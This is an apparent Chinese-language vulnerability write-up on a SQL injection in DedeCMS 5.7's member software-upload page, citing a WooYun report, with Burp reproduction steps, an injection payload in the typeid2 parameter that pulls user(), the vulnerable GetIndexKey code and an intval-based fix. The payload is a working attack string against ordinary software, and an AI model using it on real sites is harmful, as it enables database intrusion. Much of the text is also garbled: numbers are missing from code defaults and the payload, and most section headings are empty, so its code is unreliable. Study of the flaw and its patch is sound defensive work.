. 漏洞描述

. 漏洞触发条件

. 漏洞影响范围

. 漏洞代码分析

. 防御方法

. 攻防思考

http://www.wooyun.org/bugs/wooyun-2010-048892

. 打开http://127.0.0.1/dedecms5.7/member/soft_add.php

. 添加软件

. 打开BURP抓包

    ) 将picnum改成typeid2

    ) 然后参数写5',1,1,1,@`'`),('-1','',user() , '','', '', ''),(,,'

if ( ! function_exists('GetIndexKey'))

{

    function GetIndexKey($arcrank, $typeid, $sortrank=, $channelid=, $senddate=, $mid=)

    {

        //$typeid2来自外部，结合DEDE的本地变量覆盖漏洞即可修改这个变量值

        global $dsql,$senddate,$typeid2;  

        if(empty($typeid2)) $typeid2 = ;

        if(empty($senddate)) $senddate = time();

        if(empty($sortrank)) $sortrank = $senddate;

        //$typeid2、$senddate未进行有效过滤就带入SQL查询

        $iquery = "

        INSERT INTO `#@__arctiny` (`arcrank`,`typeid`,`typeid2`,`channel`,`senddate`, `sortrank`, `mid`)

        VALUES ('$arcrank','$typeid','$typeid2' , '$channelid','$senddate', '$sortrank', '$mid') ";

        echo    $iquery;

        $dsql->ExecuteNoneQuery($iquery);

        $aid = $dsql->GetLastID();

        return $aid;

    }

}

else if($dopost=='save')

{

    $description = '';

    include(DEDEMEMBER.'/inc/archives_check.php');

    //生成文档ID

    $arcID = GetIndexKey($arcrank,$typeid,$sortrank,$channelid,$senddate,$mid);

..

http://www.wooyun.org/bugs/wooyun-2010-048892

if ( ! function_exists('GetIndexKey'))

{

    function GetIndexKey($arcrank, $typeid, $sortrank=, $channelid=, $senddate=, $mid=)

    {

        //$typeid2来自外部，结合DEDE的本地变量覆盖漏洞即可修改这个变量值

        global $dsql,$senddate,$typeid2;

        if(empty($typeid2)) $typeid2 = ;

        if(empty($senddate)) $senddate = time();

        if(empty($sortrank)) $sortrank = $senddate;

        /* 过滤 */

        $typeid2 = intval($typeid2);

        $senddate = intval($senddate);

        /* */

        $iquery = "

          INSERT INTO `#@__arctiny` (`arcrank`,`typeid`,`typeid2`,`channel`,`senddate`, `sortrank`, `mid`)

          VALUES ('$arcrank','$typeid','$typeid2' , '$channelid','$senddate', '$sortrank', '$mid') ";

        $dsql->ExecuteNoneQuery($iquery);

        $aid = $dsql->GetLastID();

        return $aid;

    }

}